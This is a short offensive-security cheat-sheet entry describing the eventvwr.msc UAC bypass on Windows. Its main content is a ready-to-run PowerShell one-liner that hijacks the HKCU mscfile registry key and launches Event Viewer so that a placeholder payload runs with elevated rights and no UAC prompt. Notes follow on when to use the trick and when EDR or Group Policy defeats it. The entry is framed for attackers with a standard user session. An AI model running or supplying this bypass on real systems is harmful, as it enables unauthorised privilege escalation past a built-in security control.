UAC bypass eventvwr

New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -Force ; Set-ItemProperty "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "<payload>" ; Start-Process "C:\Windows\System32\eventvwr.msc"

UAC bypass abusing eventvwr.msc: hijack the HKCU mscfile key so that Event Viewer (Microsoft-signed) executes your elevated payload.

When you have a standard user session and want an elevated process without UAC prompt. eventvwr.msc is a Microsoft-signed binary that auto-elevates; when opened, it queries HKCU registry before HKLM, executing your command with elevated token.

If the EDR monitors the mscfile key in HKCU (well-known signature) or auto-elevation is disabled by GPO. On hosts with UAC in 'Always Notify' this technique fails (same as fodhelper).